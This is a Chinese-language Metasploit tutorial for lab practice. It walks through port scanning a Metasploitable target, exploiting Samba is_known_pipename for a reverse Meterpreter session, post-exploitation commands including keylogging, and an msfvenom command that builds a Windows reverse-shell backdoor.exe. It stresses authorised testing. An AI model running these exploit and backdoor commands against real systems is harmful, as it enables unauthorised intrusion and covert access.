Metasploit 终极教程:从入门到实战
目录
-
第一部分:Metasploit 简介
(图片来源网络,侵删)- 什么是 Metasploit?
- 为什么学习 Metasploit?(重要性)
- Metasploit 的核心架构
-
第二部分:环境准备
- 安装 Metasploit Framework
- 配置虚拟化环境(Kali Linux & 靶机)
- 网络设置
-
第三部分:Metasploit 核心概念与界面
- 启动 Metasploit (
msfconsole) - 核心组件:模块、载荷、会话
- 基本命令速查
- 启动 Metasploit (
-
第四部分:实战演练:信息收集与漏洞利用
- 信息收集
- 使用
auxiliary模块扫描服务
- 使用
- 漏洞利用
- 步骤 1:搜索合适的 exploit
- 步骤 2:配置模块参数 (
set) - 步骤 3:选择并配置载荷 (
set payload) - 步骤 4:发起攻击 (
run或exploit) - 步骤 5:获取并维持访问权
- 信息收集
-
第五部分:后渗透与权限提升
(图片来源网络,侵删)- Meterpreter 基础命令
- 权限提升技术
- 数据收集与持久化
-
第六部分:高级技巧与最佳实践
- 使用
Armitage(图形化界面) - 编写和自定义模块
- 编写报告 (
msfvenom) - 最重要的原则:道德与法律
- 使用
第一部分:Metasploit 简介
1 什么是 Metasploit?
Metasploit 是一个开源的漏洞利用框架,它本身不包含漏洞,而是一个平台,集成了大量的漏洞利用代码、载荷、辅助工具(如扫描器、嗅探器)和编码器。
你可以把它想象成一个“漏洞开发工具箱”或“漏洞利用的瑞士军刀”,安全研究人员、渗透测试员和红队用它来测试系统安全性,而攻击者也可能滥用它。
2 为什么学习 Metasploit?
- 行业标准:它是渗透测试领域最广泛使用的工具之一,是安全从业者的必备技能。
- 功能强大:集成了从信息收集、漏洞利用、后渗透到权限提升的全流程功能。
- 高度可扩展:用户可以使用 Ruby 语言编写自己的模块,使其功能无限扩展。
- 学习价值:通过使用 Metasploit,你能深入理解各种漏洞的原理和利用方式。
3 Metasploit 的核心架构
理解其架构有助于你更好地使用它:
-
Module (模块):Metasploit 的核心功能单元,主要分为三类:
- Exploit (利用模块):用于攻击特定漏洞,目标是获取一个初始访问权限。
exploit/windows/smb/ms17_010_eternalblue就是利用著名的“永恒之蓝”漏洞。 - Payload (载荷模块):成功利用漏洞后,在目标系统上执行的代码,它负责建立与攻击者的连接,为后续操作提供通道。
- Auxiliary (辅助模块):不直接用于获取访问权限,而是辅助攻击,端口扫描、暴力破解、服务指纹识别等。
- Exploit (利用模块):用于攻击特定漏洞,目标是获取一个初始访问权限。
-
Payload Stager (载荷分段器):由于目标环境限制(如数据大小限制),载荷常被分为两部分,第一部分(Stager)负责在目标上建立一个稳定连接,然后下载并执行第二部分(Stage),后者功能更完整。
-
Session (会话):成功利用漏洞后,Metasploit 与目标系统之间建立的交互式连接,常见的会话类型有
meterpreter、shell等。
第二部分:环境准备
警告:所有测试必须在授权的环境下进行!未经授权的测试是违法的。
我们推荐使用 Kali Linux 作为攻击机,因为它预装了 Metasploit,准备一些专门用于练习的靶机。
- 攻击机:安装 Kali Linux 的虚拟机或物理机。
- 靶机:
- Metasploitable2:一个故意设计得充满漏洞的 Linux 靶机,非常适合新手。
- Metasploitable3:功能更强大的新版本。
- VulnHub:一个提供大量免费靶机下载的网站。
网络设置:确保攻击机和靶机在同一个局域网内,并且可以互相通信。
第三部分:Metasploit 核心概念与界面
1 启动 Metasploit
打开 Kali Linux 的终端,输入:
msfconsole
你会看到一个类似下面这样的界面,这表示 Metasploit 已经成功启动。
_
|_ _|
.---. .--. .---. .--. .--. .---. .---.
/ O \ / \ / O \ / `.' / / O \ / O \
| _ ' | . ' | _ ' | |`' / | _ ' | _ '
| | | | | | | | | | | ' | | | | | | |
`--' ` `--' ` `--' ` `--' `--' `--' ` `--' `
=[ metasploit v6.1.44-dev ]
+ -- --=[ 2128 exploits - 1158 auxiliary - 383 post ]
+ -- --=[ 609 payloads - 44 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: To see all the options for a module, type 'options'
msf6 >
2 核心组件回顾
- Exploit: 攻击漏洞。
- Payload: 攻击成功后在目标上执行的代码。
- Session: 攻击成功后建立的连接。
3 基本命令速查
在 msfconsole 中,你可以使用以下命令:
| 命令 | 描述 | 示例 |
|---|---|---|
help |
显示帮助信息 | help |
search <keyword> |
搜索模块 | search apache |
use <module_path> |
使用一个模块 | use exploit/multi/handler |
info |
显示当前模块的详细信息 | info |
show options |
显示当前模块需要配置的选项 | show options |
show targets |
显示该模块支持的目标系统类型 | show targets |
set <option> <value> |
设置模块的参数 | set RHOSTS 192.168.1.101 |
setg <option> <value> |
全局设置参数,之后加载的模块也会继承 | setg RHOSTS 192.168.1.0/24 |
unset <option> |
取消设置一个参数 | unset RHOSTS |
run 或 exploit |
执行当前模块 | run |
back |
返回上一级模块 | back |
sessions |
列出所有活动的会话 | sessions |
sessions -l |
列出所有活动的会话(详细版) | sessions -l |
sessions -i <id> |
与指定 ID 的会话进行交互 | sessions -i 1 |
exit |
退出 msfconsole |
exit |
第四部分:实战演练
信息收集
假设我们的靶机 IP 是 168.1.101,我们先来扫描一下它的开放端口和服务。
-
搜索扫描模块
msf6 > search portscan
-
使用一个 TCP 端口扫描模块
msf6 > use auxiliary/scanner/portscan/tcp msf6 auxiliary(scanner/portscan/tcp) > show options
-
配置参数
RHOSTS: 目标主机的 IP 地址或 IP 范围。PORTS: 要扫描的端口,默认是 1-1000。msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.101 msf6 auxiliary(scanner/portscan/tcp) > set PORTS 1-65535
-
执行扫描
msf6 auxiliary(scanner/portscan/tcp) > run
扫描完成后,你会看到类似这样的输出,显示了靶机开放的端口和服务:
[+] 192.168.1.101:21 - TCP - Open [+] 192.168.1.101:22 - TCP - Open [+] 192.168.1.101:23 - TCP - Open [+] 192.168.1.101:139 - TCP - Open [+] 192.168.1.101:445 - TCP - Open [+] 192.168.1.101:512 - TCP - Open [+] 192.168.1.101:513 - TCP - Open [+] 192.168.1.101:514 - TCP - Open [+] 192.168.1.101:1524 - TCP - Open [+] 192.168.1.101:3306 - TCP - Open [+] 192.168.1.101:5432 - TCP - Open [+] 192.168.1.101:6000 - TCP - Open [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed我们发现靶机开放了 21 (FTP), 22 (SSH), 23 (Telnet), 3306 (MySQL), 5432 (PostgreSQL) 等服务,这些都是潜在的攻击点。
漏洞利用
假设我们发现靶机运行着一个有漏洞的 Samba 服务(端口 445),我们来寻找相关的漏洞。
-
搜索 Samba 相关的漏洞
msf6 > search samba
你会看到一个名为
exploit/linux/samba/is_known_pipename的模块,这是一个经典的漏洞。 -
使用该 exploit 模块
msf6 > use exploit/linux/samba/is_known_pipename msf6 exploit(linux/samba/is_known_pipename) > show options
-
配置 exploit 参数
RHOSTS: 目标 IP。msf6 exploit(linux/samba/is_known_pipename) > set RHOSTS 192.168.1.101
-
选择并配置 Payload
- 在
info或show options中,你会看到一个Payload选项,这是必须设置的。 - 我们选择一个通用的反向 shell 载荷,这样靶机会主动连接回我们的攻击机。
msf6 exploit(linux/samba/is_known_pipename) > set payload linux/x64/meterpreter/reverse_tcp
- 设置 Payload 的参数,对于反向 TCP,我们需要告诉靶机连接到哪个 IP 和端口。
LHOST: 攻击机的 IP 地址(靶机要连接回来的地址)。LPORT: 监听的端口。msf6 exploit(linux/samba/is_known_pipename) > set LHOST 192.168.1.100 # 这是你的 Kali Linux 的 IP msf6 exploit(linux/samba/is_known_pipename) > set LPORT 4444
- 在
-
发起攻击
msf6 exploit(linux/samba/is_known_pipename) > run
如果成功,你会看到攻击的输出,并最终获得一个 Meterpreter 会话:
[*] Started reverse TCP handler on 192.168.1.100:4444 [*] 192.168.1.101:445 - Attempting to exploit... [*] 192.168.1.101:445 - Sending stage (3010240 bytes) [*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:44718) at 2025-10-27 10:30:00 +0000 meterpreter >恭喜!你已经成功入侵了靶机。
第五部分:后渗透与权限提升
现在你有了 meterpreter > 提示符,你可以对靶机进行各种操作。
1 Meterpreter 基础命令
| 命令 | 描述 |
|---|---|
sysinfo |
查看目标系统信息(操作系统、架构等) |
getuid |
获取当前用户权限 |
ps |
列出目标系统运行的进程 |
getpid |
获取当前 Meterpreter 会话所在的进程 ID |
migrate <pid> |
将会话迁移到另一个进程中,有助于隐藏和稳定 |
shell |
在目标系统上获取一个命令行 shell |
upload <local_file> <remote_path> |
上传文件到目标系统 |
download <remote_file> <local_path> |
从目标系统下载文件 |
search -f <filename> |
在目标系统上搜索文件 |
keyscan_start / keyscan_stop / keyscan_dump |
开始/停止/转储键盘记录 |
示例:
meterpreter > sysinfo Computer : metasploitable.local OS : Linux 2.6.24-16-generic Architecture : x64 Meterpreter : linux/x64 meterpreter > getuid Server username: root
太棒了,我们直接获得了 root 权限!在真实场景中,你可能需要手动进行权限提升。
2 权限提升
getuid 显示你是一个普通用户(如 uid=1000, gid=1000),你可以使用 Metasploit 的 post 模块来尝试提权。
meterpreter > background # 将会话放到后台 msf6 exploit(linux/samba/is_known_pipename) > search post/multi/recon/local_exploit_suggester msf6 exploit(linux/samba/is_known_pipename) > use post/multi/recon/local_exploit_suggester msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1 # 指定要分析哪个会话 msf6 post(multi/recon/local_exploit_suggester) > run
这个模块会分析目标系统,并建议可能可用的本地提权漏洞,然后你可以使用相应的 exploit 来获取 root 权限。
第六部分:高级技巧与最佳实践
1 使用 Armitage (图形化界面)
如果你不喜欢命令行,可以使用 Armitage,它是一个 Metasploit 的图形化前端,提供了可视化的攻击路径、自动化任务和交互式会话管理。
在 Kali 中直接在终端输入 armitage 即可启动。
2 编写和自定义模块
Metasploit 的强大之处在于其可扩展性,所有模块都是用 Ruby 编写的,你可以阅读现有模块的源码,然后根据自己的需求进行修改或编写全新的模块,源码通常位于 /usr/share/metasploit-framework/modules/ 目录下。
3 编写报告与生成后门 (msfvenom)
msfvenom 是 Metasploit 的ayload 编译工具,它可以将各种 payload 和编码器结合,生成独立的可执行文件、脚本等。
基本语法:
msfvenom -p <payload> <options> -f <format> -o <output_file>
示例:生成一个 Windows 的反向 Meterpreter 后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /tmp/backdoor.exe
这个生成的 backdoor.exe 就是一个木马程序,你可以在目标机上运行它来获得一个 Meterpreter 会话。
4 最重要的原则:道德与法律
- 授权是前提:永远不要在未经明确书面授权的情况下对任何系统进行 Metasploit 测试。
- 负责任地披露:如果你在测试中发现了漏洞,应遵循负责任的披露原则,通知相关方,而不是直接公开或利用。
- 学习目的:将 Metaspilot 用于提升自己的技能和保护自己的系统,而不是用于非法活动。
这份教程为你提供了一个 Metasploit 的完整学习路径,从了解其架构,到配置环境,再到执行信息收集、漏洞利用和后渗透操作,最后还介绍了高级技巧。
Metasploit 是一个极其强大的工具,熟练掌握它需要大量的练习,建议你多在 VulnHub 上下载不同的靶机,不断尝试和复现各种漏洞,这是最快的学习方式,祝你学习愉快!
